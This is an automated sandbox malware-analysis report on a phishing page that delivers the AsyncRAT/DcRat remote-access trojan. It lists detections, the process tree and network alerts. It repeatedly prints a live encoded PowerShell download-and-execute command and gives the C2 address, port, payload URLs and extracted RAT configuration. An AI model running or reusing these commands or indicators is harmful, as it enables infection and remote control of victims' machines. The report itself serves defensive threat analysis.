Edit tour

Windows Analysis Report
https://myidverify.s3.us-east-1.amazonaws.com/redirect.html

Overview

General Information

Sample URL:	https://myidverify.s3.us-east-1.amazonaws.com/redirect.html
Analysis ID:	1667421
Infos:

Detection

AsyncRAT, DcRat

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detect drive by download via clipboard copy & paste

Found malware configuration

Malicious encrypted Powershell command line found

Malicious sample detected (through community Yara rule)

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected AsyncRAT

Yara detected DcRat

Compiles code for process injection (via .Net compiler)

Encrypted powershell cmdline option found

HTML page adds supicious text to clipboard

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious Execution of Powershell with Base64

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Yara signature match

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6936 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 940 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1960,i,12324069781819102970,8472768243414026003,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2004 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6476 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1960,i,12324069781819102970,8472768243414026003,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3800 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7308 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://myidverify.s3.us-east-1.amazonaws.com/redirect.html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cmd.exe (PID: 8028 cmdline: cmd /K cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8080 cmdline: cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 8096 cmdline: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA= MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 1816 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 7480 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3E6E.tmp" "c:\Users\user\AppData\Local\Temp\y00ifih2\CSCF294E1DD957143A7ABBBA2AAFDECA1.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

MSBuild.exe (PID: 2340 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 2484 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 3148 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.AsyncRAT as delivered by MintsLoader includes a PowerShell module with a DGA. The DGA is similar to MintsLoader's DGA, but generates more domains and uses more than one TLD.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.eclecticiq.com/sandworm-apt-targets-ukrainian-users-with-trojanized-microsoft-kms-activation-tools-in-cyber-espionage-campaigns https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: AsyncRAT

{
  "Server": "92.255.85.2",
  "Port": "1414",
  "Version": "LoaderPanel",
  "MutexName": "wgzhwujraskz",
  "Autorun": "false",
  "Group": "Default",
  "Certificate": "MIICMDCCAZmgAwIBAgIVAJHz+ah5/J2brULSjvSUc0iQ1oaHMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDExvYWRlciBQYW5lbDETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTI0MDYyMzE5MDc1MFoXDTM1MDQwMjE5MDc1MFowEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKp2yro0uvnyW5zSOLP7+UN5jwwmGf7etJxfEbnoT2kASrj94YBBkn5ouLu6RKIQdEIKQe0D91DnNGjgAxIQS7832z2B/XbNNpMTRAUaSR7x9YMAfdKatsQ1yrw8jL+aHkMa9z3s9ZJ61GHL3rQap2/qRA3MCgjOE1HDkVM6ayshAgMBAAGjMjAwMB0GA1UdDgQWBBR4VbOZRjY+OVaHv5BXbYQIjfZ7xjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4GBAH0z81fjHX24yLYTNwWHz+ksMjk2MtMs0roXCF1OjMdn9BSypbr2CQtHaOBvHi8Jd6GkOKaBVR/HHDCSwhyucirxMlvTRkOD4DPb4eEcY7R9uhbUjXUPRLv+8IVnawTyKKweTOCBKLttvyXQ2gXxmud7eyoUTre/TBECxlRahknH",
  "ServerSignature": "BkiGqtc6q6M1kb0vxh6s+adeR1vdw2Q6PQBtJ6PIr8T0YWN8JbhC+k7hqUQXf52aDyzyASmRwL7zDj9+pg3LuEQiOW/7znu/xc3SM4PpqaTz2vr/GaGJUn7YYherkelSi23Cq4PUsIZqIcqI38D6rwq58aLAnL0wKrapNDek00Y="
}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x5d230b:$a2: timeout 3 > NUL 0x5d38a1:$a3: START "" " 0x5dbd90:$b2: DcRat By qwqdanchun1

Memory Dumps

Source	Rule	Description	Author	Strings
00000015.00000002.2155302925.0000000002FF3000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0xf384:$b2: DcRat By qwqdanchun1
00000015.00000002.2154920630.0000000001310000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x148ac:$b2: DcRat By qwqdanchun1 0x152f8:$b2: DcRat By qwqdanchun1
00000015.00000002.2154920630.00000000012F7000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x61fc:$b2: DcRat By qwqdanchun1
00000015.00000002.2155302925.000000000326F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
00000015.00000002.2155302925.000000000326F000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x3230:$b2: DcRat By qwqdanchun1 0x8030:$b2: DcRat By qwqdanchun1 0x8270:$b2: DcRat By qwqdanchun1
00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x355f0:$b2: DcRat By qwqdanchun1
00000015.00000002.2152595569.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: MSBuild.exe PID: 3148	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: MSBuild.exe PID: 3148	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
Process Memory Space: MSBuild.exe PID: 3148	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: MSBuild.exe PID: 3148	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x1a6e:$b2: DcRat By qwqdanchun1 0x30e8:$b2: DcRat By qwqdanchun1 0x26fa7:$b2: DcRat By qwqdanchun1 0x58903:$b2: DcRat By qwqdanchun1 0x5aa68:$b2: DcRat By qwqdanchun1
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
21.2.MSBuild.exe.400000.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
21.2.MSBuild.exe.400000.0.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x171e48:$str02: get_SslClient 0x171e64:$str03: get_TcpClient 0x16d503:$str04: get_SendSync 0x16ec1f:$str05: get_IsConnected 0x16fd08:$str06: set_UseShellExecute 0x1743f4:$str08: Select * from AntivirusProduct 0x179c50:$str09: Stub.exe 0x179d14:$str09: Stub.exe 0x172b40:$str10: timeout 3 > NUL 0x173e38:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn
21.2.MSBuild.exe.400000.0.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x173dfa:$str03: Po_ng 0x17261a:$str04: Pac_ket 0x174368:$str05: Perfor_mance 0x1743ac:$str06: Install_ed 0x16ec1f:$str07: get_IsConnected 0x16ff0b:$str08: get_ActivatePo_ng 0x1711d3:$str09: isVM_by_wim_temper 0x172b40:$str11: timeout 3 > NUL 0x173f78:$str12: ProcessHacker.exe 0x17416a:$str13: Select * from Win32_CacheMemory
21.2.MSBuild.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x17416a:$q1: Select * from Win32_CacheMemory 0x1741aa:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x1741f8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x174246:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}

Sigma Signatures

System Summary

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8096, TargetFilename: C:\Windows\Temp\cmd.bat

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=, CommandLine: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 8080, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=, ProcessId: 8096, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=, CommandLine: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 8080, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=, ProcessId: 8096, ProcessName: powershell.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8096, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.cmdline", ProcessId: 1816, ProcessName: csc.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8096, TargetFilename: C:\Windows\Temp\cmd.bat

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=, CommandLine: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 8080, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=, ProcessId: 8096, ProcessName: powershell.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8096, TargetFilename: C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=, CommandLine: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 8080, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=, ProcessId: 8096, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8096, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA=, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8096, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.cmdline", ProcessId: 1816, ProcessName: csc.exe

Suricata Signatures

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-17T13:24:46.247215+0200	2019714	2	Potentially Bad Traffic	192.168.2.5	49762	92.255.85.2	80	TCP

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-17T13:25:01.329517+0200	2842478	1	Malware Command and Control Activity Detected	92.255.85.2	1414	192.168.2.5	49764	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-17T13:24:43.052370+0200	2803305	3	Unknown Traffic	192.168.2.5	49762	92.255.85.2	80	TCP
2025-04-17T13:24:46.247215+0200	2803305	3	Unknown Traffic	192.168.2.5	49762	92.255.85.2	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-17T13:24:58.150167+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49763	92.255.85.2	80	TCP

ETPRO MALWARE Observed Malicious SSL/TLS Certificate (DCRAT Loader Panel)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-17T13:25:01.329517+0200	2861128	1	Malware Command and Control Activity Detected	92.255.85.2	1414	192.168.2.5	49764	TCP

ETPRO MALWARE Observed Malicious SSL/TLS Certificate (DCRAT)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-17T13:25:01.329517+0200	2861127	1	Malware Command and Control Activity Detected	92.255.85.2	1414	192.168.2.5	49764	TCP

Joe Security ANOMALY Windows PowerShell HTTP PE File Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-17T13:24:43.052384+0200	1810003	2	Potentially Bad Traffic	92.255.85.2	80	192.168.2.5	49762	TCP
2025-04-17T13:24:46.247234+0200	1810003	2	Potentially Bad Traffic	92.255.85.2	80	192.168.2.5	49762	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-17T13:24:42.656958+0200	1810000	2	Potentially Bad Traffic	192.168.2.5	49762	92.255.85.2	80	TCP
2025-04-17T13:24:58.150167+0200	1810000	2	Potentially Bad Traffic	192.168.2.5	49763	92.255.85.2	80	TCP

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• Key, Mouse, Clipboard, Microphone and Screen Capturing
• E-Banking Fraud
• System Summary
• Data Obfuscation
• Persistence and Installation Behavior
• Boot Survival
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection
• Lowering of HIPS / PFW / Operating System Security Settings
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://92.255.85.2/qxm.exe	Avira URL Cloud: Label: phishing
Source: http://92.255.85.2/nums.bat	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.dll

Avira: detection malicious, Label: TR/Dropper.Gen7

Found malware configuration

Source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: AsyncRAT {"Server": "92.255.85.2", "Port": "1414", "Version": "LoaderPanel", "MutexName": "wgzhwujraskz", "Autorun": "false", "Group": "Default", "Certificate": "MIICMDCCAZmgAwIBAgIVAJHz+ah5/J2brULSjvSUc0iQ1oaHMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDExvYWRlciBQYW5lbDETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTI0MDYyMzE5MDc1MFoXDTM1MDQwMjE5MDc1MFowEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKp2yro0uvnyW5zSOLP7+UN5jwwmGf7etJxfEbnoT2kASrj94YBBkn5ouLu6RKIQdEIKQe0D91DnNGjgAxIQS7832z2B/XbNNpMTRAUaSR7x9YMAfdKatsQ1yrw8jL+aHkMa9z3s9ZJ61GHL3rQap2/qRA3MCgjOE1HDkVM6ayshAgMBAAGjMjAwMB0GA1UdDgQWBBR4VbOZRjY+OVaHv5BXbYQIjfZ7xjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4GBAH0z81fjHX24yLYTNwWHz+ksMjk2MtMs0roXCF1OjMdn9BSypbr2CQtHaOBvHi8Jd6GkOKaBVR/HHDCSwhyucirxMlvTRkOD4DPb4eEcY7R9uhbUjXUPRLv+8IVnawTyKKweTOCBKLttvyXQ2gXxmud7eyoUTre/TBECxlRahknH", "ServerSignature": 